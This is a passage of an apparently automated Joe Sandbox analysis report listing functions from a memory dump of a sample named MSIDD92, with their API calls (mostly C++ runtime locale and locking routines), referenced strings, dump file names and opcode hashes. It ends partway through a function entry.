APIs

__EH_prolog3.LIBCMT ref: 00D8D394
_Getvals.LIBCPMT ref: 00D8D3E6
_Mpunct.LIBCPMT ref: 00D8D421
_Mpunct.LIBCPMT ref: 00D8D43B

Strings

$+xv, xrefs: 00D8D446

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: aa0127b77343873770cf0f48cf17b3078dde268d8995bce24b71d98758983c4c
Instruction ID: 318a2ac45a0d02fcd636f2b0ecdf1be0719b35704c6ec9c3e654778496851dd7
Opcode Fuzzy Hash: aa0127b77343873770cf0f48cf17b3078dde268d8995bce24b71d98758983c4c
Instruction Fuzzy Hash: 182183B1904B52AED725EF75C45077BBFF8EB09700B04455AE499C7A81D734E601CBB0

Function 00D783E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(862265DA,862265DA,?,?,00000000,00DBA221,000000FF), ref: 00D7847B

Part of subcall function 00D97875: EnterCriticalSection.KERNEL32(00DD4AF8,00000000,?,?,00D725B6,00DD571C,862265DA,?,00000000,00DB93ED,000000FF,?,00D71A26), ref: 00D97880
Part of subcall function 00D97875: LeaveCriticalSection.KERNEL32(00DD4AF8,?,?,00D725B6,00DD571C,862265DA,?,00000000,00DB93ED,000000FF,?,00D71A26,?,?,?,862265DA), ref: 00D978BD

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00D78440
GetProcAddress.KERNEL32(00000000), ref: 00D78447

Part of subcall function 00D9782B: EnterCriticalSection.KERNEL32(00DD4AF8,?,?,00D72627,00DD571C,00DBCCC0), ref: 00D97835
Part of subcall function 00D9782B: LeaveCriticalSection.KERNEL32(00DD4AF8,?,?,00D72627,00DD571C,00DBCCC0), ref: 00D97868
Part of subcall function 00D9782B: RtlWakeAllConditionVariable.NTDLL ref: 00D978DF

Strings

kernel32, xrefs: 00D7843B
IsWow64Process, xrefs: 00D78436

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: be012d9985407ba0c38b47b4caac251691aa4ca77dfd9a77879f64ac28bacb50
Instruction ID: 01732262baf5e5ed746eca140467bf710943b1a4a91f73d00a33b5d134b7eaf1
Opcode Fuzzy Hash: be012d9985407ba0c38b47b4caac251691aa4ca77dfd9a77879f64ac28bacb50
Instruction Fuzzy Hash: F1117F72945B05FFCB10DFA4EC09B9977A8FB08721F24466BE815D3390EBB5A904CA71

Function 00DA8461 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,862265DA,?,?,00000000,00DBCBE4,000000FF,?,00DA83F1,?,?,00DA83C5,?), ref: 00DA8496
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DA84A8
FreeLibrary.KERNEL32(00000000,?,00000000,00DBCBE4,000000FF,?,00DA83F1,?,?,00DA83C5,?), ref: 00DA84CA

Strings

mscoree.dll, xrefs: 00DA848F
CorExitProcess, xrefs: 00DA84A0

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: beec67c277ee74a47fb97f8210655edb406a536b4c57122d04730e6677b2f8b5
Instruction ID: d9aefb4f4fa1734afcdc9c02f4eb6462973ae5a0b4544c24b3b0a4817975871e
Opcode Fuzzy Hash: beec67c277ee74a47fb97f8210655edb406a536b4c57122d04730e6677b2f8b5
Instruction Fuzzy Hash: 0C01A275904726EFCB018F54DC05FAEBBBAFB09B10F044629E811E2390DBB49900CAB0

Function 00D8DDD2 Relevance: 7.9, APIs: 5, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8DDD9
collate.LIBCPMT ref: 00D8DF54
numpunct.LIBCPMT ref: 00D8E1CE

Part of subcall function 00D883C2: __EH_prolog3.LIBCMT ref: 00D883C9

Part of subcall function 00D8815A: __EH_prolog3.LIBCMT ref: 00D88161
Part of subcall function 00D8815A: std::_Lockit::_Lockit.LIBCPMT ref: 00D8816B
Part of subcall function 00D8815A: std::_Lockit::~_Lockit.LIBCPMT ref: 00D881DC

Part of subcall function 00D7EAF0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7EB1D
Part of subcall function 00D7EAF0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7EB40
Part of subcall function 00D7EAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7EB68
Part of subcall function 00D7EAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7EC07

Part of subcall function 00D84403: Concurrency::cancel_current_task.LIBCPMT ref: 00D844C6

Part of subcall function 00D8764B: __EH_prolog3.LIBCMT ref: 00D87652
Part of subcall function 00D8764B: std::_Lockit::_Lockit.LIBCPMT ref: 00D8765C
Part of subcall function 00D8764B: std::_Lockit::~_Lockit.LIBCPMT ref: 00D876CD

__Getcoll.LIBCPMT ref: 00D8DF94

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

Part of subcall function 00D784C0: LocalAlloc.KERNEL32(00000040,00000000,00D9839D,00000000,862265DA,?,00000000,?,00000000,?,00DBCB8D,000000FF,?,00D717D5,00000000,00DBD3BA), ref: 00D784C6

Part of subcall function 00D7B9E0: __Getctype.LIBCPMT ref: 00D7B9EB

Part of subcall function 00D87A5E: __EH_prolog3.LIBCMT ref: 00D87A65
Part of subcall function 00D87A5E: std::_Lockit::_Lockit.LIBCPMT ref: 00D87A6F
Part of subcall function 00D87A5E: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87AE0

Part of subcall function 00D87B88: __EH_prolog3.LIBCMT ref: 00D87B8F
Part of subcall function 00D87B88: std::_Lockit::_Lockit.LIBCPMT ref: 00D87B99
Part of subcall function 00D87B88: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87C0A

Part of subcall function 00D87DDC: __EH_prolog3.LIBCMT ref: 00D87DE3
Part of subcall function 00D87DDC: std::_Lockit::_Lockit.LIBCPMT ref: 00D87DED
Part of subcall function 00D87DDC: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87E5E

Part of subcall function 00D87D47: __EH_prolog3.LIBCMT ref: 00D87D4E
Part of subcall function 00D87D47: std::_Lockit::_Lockit.LIBCPMT ref: 00D87D58
Part of subcall function 00D87D47: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87DC9

Part of subcall function 00D84403: __EH_prolog3.LIBCMT ref: 00D8440A
Part of subcall function 00D84403: std::_Lockit::_Lockit.LIBCPMT ref: 00D84414
Part of subcall function 00D84403: std::_Lockit::~_Lockit.LIBCPMT ref: 00D844BB

codecvt.LIBCPMT ref: 00D8E27F

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatenumpunct
String ID:
API String ID: 2252558201-0
Opcode ID: f67fc3711a3b47d08863c16aea2205a241b202083d75e8aea176bea52deabc6c
Instruction ID: 9ab73bbd30c6fb89e92517df562fc334dc6fcdf314e85c9e145a2c4876c3b46c
Opcode Fuzzy Hash: f67fc3711a3b47d08863c16aea2205a241b202083d75e8aea176bea52deabc6c
Instruction Fuzzy Hash: 34E1C37190021AABDB217F658C066BF7BA5EF41360F14842EF9596B391EF708D109BB1

Function 00DAC382 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00DAC409
__alloca_probe_16.LIBCMT ref: 00DAC4CA
__freea.LIBCMT ref: 00DAC531

Part of subcall function 00DAB127: HeapAlloc.KERNEL32(00000000,?,?,?,00DAAAAA,?,00000000,?,00D9C282,?,?,?,?,?,?,00D71668), ref: 00DAB159

__freea.LIBCMT ref: 00DAC546
__freea.LIBCMT ref: 00DAC556

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: ac1c2c0b14302f84f18d2e5057c894ee05178bc9d1ea50e30d56ea78a4e413cf
Instruction ID: bd3dede2fa6ff2b23ab80004e2a07241f65bc0833d4ea8a95c8a8872e65a6a27
Opcode Fuzzy Hash: ac1c2c0b14302f84f18d2e5057c894ee05178bc9d1ea50e30d56ea78a4e413cf
Instruction Fuzzy Hash: 2651E772A2020AAFEF215F64CC41EBF36A9EF46360B195529FD08D7241EB75ED1087B0

Function 00D7C590 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5BD
std::_Lockit::_Lockit.LIBCPMT ref: 00D7C5E0
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C608
std::_Facet_Register.LIBCPMT ref: 00D7C67D
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C6A7

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 00df825122bb1383a1f9760db7b7a0c3eb6d7154ce184a52025ff8433387ee8d
Instruction ID: f29959b79debb01a4b6572232b54affba34cf29445e2dbf3bda25d5d35d0c44a
Opcode Fuzzy Hash: 00df825122bb1383a1f9760db7b7a0c3eb6d7154ce184a52025ff8433387ee8d
Instruction Fuzzy Hash: 9B41A375811659DFCB11DF58E885BAEBBB4EF04710F18815EE819A73A1E730AE04CBB1

Function 00D7EAF0 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D7EB1D
std::_Lockit::_Lockit.LIBCPMT ref: 00D7EB40
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7EB68
std::_Facet_Register.LIBCPMT ref: 00D7EBDD
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7EC07

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 0f7064173768dda4efbf2fc7d9e3b80d640944a4f505078ca28066fa96a951d9
Instruction ID: 1061e21420ae59e85b9898b0531109049269da4b3b80d5caf0d772971791f101
Opcode Fuzzy Hash: 0f7064173768dda4efbf2fc7d9e3b80d640944a4f505078ca28066fa96a951d9
Instruction Fuzzy Hash: 7941B371901659DFCB11DF58D840BAEBBB4FB08724F14819AE819A7391E730AE05CBF1

Function 00D7EC30 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D7EC5D
std::_Lockit::_Lockit.LIBCPMT ref: 00D7EC80
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7ECA8
std::_Facet_Register.LIBCPMT ref: 00D7ED1D
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7ED47

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: af0dfc4b6c50ec1f4e6c6aaf5d60c1c8dc6f0e1ca6a256ad1855f240eccb87c0
Instruction ID: 3a7d6d27a73b121d0a30ff711a92a37b24659660c5114b2b02df18800e9391d5
Opcode Fuzzy Hash: af0dfc4b6c50ec1f4e6c6aaf5d60c1c8dc6f0e1ca6a256ad1855f240eccb87c0
Instruction Fuzzy Hash: 2141C475901659DFCB22DF58D840BAEBBB4FB04724F14829AE815A7391E731AE04CBF1

Function 00D7ED70 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D7ED9D
std::_Lockit::_Lockit.LIBCPMT ref: 00D7EDC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7EDE8
std::_Facet_Register.LIBCPMT ref: 00D7EE5D
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7EE87

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: b25f30f6e7c59ba0febc4d472cb51ec1eda38af8e6bdffa36c9c4bceff30f65a
Instruction ID: 3f450c830a96cc0ccca9f705ef7a5c42a8f2e31464d31bfe50cb8f4d5e8e8f8f
Opcode Fuzzy Hash: b25f30f6e7c59ba0febc4d472cb51ec1eda38af8e6bdffa36c9c4bceff30f65a
Instruction Fuzzy Hash: C241C271800259DFCB11DF58D840BAEBBB4FB08724F15869AE815A7391E730AE44CBF1

Function 00D77C30 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,00000010,?,00D77912,?,?), ref: 00D77C37

Strings

true, xrefs: 00D77C41
Last error=, xrefs: 00D77CC1
Call to ShellExecuteEx() returned:, xrefs: 00D77C5D
false, xrefs: 00D77C46

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: 5579f6dee9281b5eb21f48f1190eac816442149b16ac1474187305551803745b
Instruction ID: 029de78958cd53a88f43173f5479e00840e2924023eaeee11d9d3540bd0d37ff
Opcode Fuzzy Hash: 5579f6dee9281b5eb21f48f1190eac816442149b16ac1474187305551803745b
Instruction Fuzzy Hash: DA215949A2426286CB741F3C8401735A2F0EF58759F69586FE8CCD7394F76A8CC283A0

Function 00D86FF9 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00D87019
_Maklocstr.LIBCPMT ref: 00D87036
_Maklocstr.LIBCPMT ref: 00D87053
_Maklocchr.LIBCPMT ref: 00D87065
_Maklocchr.LIBCPMT ref: 00D87078

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 05921f46d05f887239f1966408b30294079acb9a308705fe2fe780e3e69fc2b7
Instruction ID: cb11010cf178e20b5680ddb2cfb8b41524422a591d73f45e2e57e7ab3e403592
Opcode Fuzzy Hash: 05921f46d05f887239f1966408b30294079acb9a308705fe2fe780e3e69fc2b7
Instruction Fuzzy Hash: 8C118FB1504744BBE720EBA5D881F12B7ACFF08714F18051AF1858BA41D265FC5087B8

Function 00D82823 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8282A
std::_Lockit::_Lockit.LIBCPMT ref: 00D82834

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

numpunct.LIBCPMT ref: 00D8286E
std::_Facet_Register.LIBCPMT ref: 00D82885
std::_Lockit::~_Lockit.LIBCPMT ref: 00D828A5

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 41b74cc194ee93e07db8f6041fa1c4d73f43e69cbaec22d870b8c1a6527fd82a
Instruction ID: 00eeb050ab5094688be550994dcfb08e4b8f8ce2fa0accc576fbd7e5e26566ed
Opcode Fuzzy Hash: 41b74cc194ee93e07db8f6041fa1c4d73f43e69cbaec22d870b8c1a6527fd82a
Instruction Fuzzy Hash: 1011CB359002199BCF05FB64D856ABE77B2EF84B20F28410AE411AB391EF709E019BB1

Function 00D88030 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D88037
std::_Lockit::_Lockit.LIBCPMT ref: 00D88041

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

numpunct.LIBCPMT ref: 00D8807B
std::_Facet_Register.LIBCPMT ref: 00D88092
std::_Lockit::~_Lockit.LIBCPMT ref: 00D880B2

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 34d19d15e3bada96494a3aa078dc3e2891087d89e0e2233b80e8a9e01728d47a
Instruction ID: 619945463d2c09ed7e82d48ed1d61b17976babcb635d480bcc3de09aa8e5dc5f
Opcode Fuzzy Hash: 34d19d15e3bada96494a3aa078dc3e2891087d89e0e2233b80e8a9e01728d47a
Instruction Fuzzy Hash: 1A01D236900219CBCF01FBA4D8566AEB761EF80720F29400AF414AB392EF709E059FB0

Function 00D875B6 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D875BD
std::_Lockit::_Lockit.LIBCPMT ref: 00D875C7

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

codecvt.LIBCPMT ref: 00D87601
std::_Facet_Register.LIBCPMT ref: 00D87618
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87638

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 8ffea4aa8775b16e60b4e4a3ef8569639c98db36b98abce80917d15c1425acbb
Instruction ID: 94e3a901ba63feb2cc1ecc39f9ab308a5e15d50bc8acce926c757f9ccab7e5d3
Opcode Fuzzy Hash: 8ffea4aa8775b16e60b4e4a3ef8569639c98db36b98abce80917d15c1425acbb
Instruction Fuzzy Hash: 1D01C0359046199BCF01FB68D8066AE7761EF80720F28400AE411AB392EF70DE01DBB0

Function 00D876E0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D876E7
std::_Lockit::_Lockit.LIBCPMT ref: 00D876F1

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

collate.LIBCPMT ref: 00D8772B
std::_Facet_Register.LIBCPMT ref: 00D87742
std::_Lockit::~_Lockit.LIBCPMT ref: 00D87762

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: c55ef961d9b2de16af54a590d1a1c850e20667221129f9ddf7c4a8d4568bebbb
Instruction ID: 8c468291dd6f5610e675855e8f717ab314b4238bc0a7936d708d4114f07a5e5d
Opcode Fuzzy Hash: c55ef961d9b2de16af54a590d1a1c850e20667221129f9ddf7c4a8d4568bebbb
Instruction Fuzzy Hash: DE01D235904219DBCF01FB64D8066AE7766EF84720F28410AF415AB392EF70DE01DBB0

Function 00D8764B Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D87652
std::_Lockit::_Lockit.LIBCPMT ref: 00D8765C

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

codecvt.LIBCPMT ref: 00D87696
std::_Facet_Register.LIBCPMT ref: 00D876AD
std::_Lockit::~_Lockit.LIBCPMT ref: 00D876CD

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
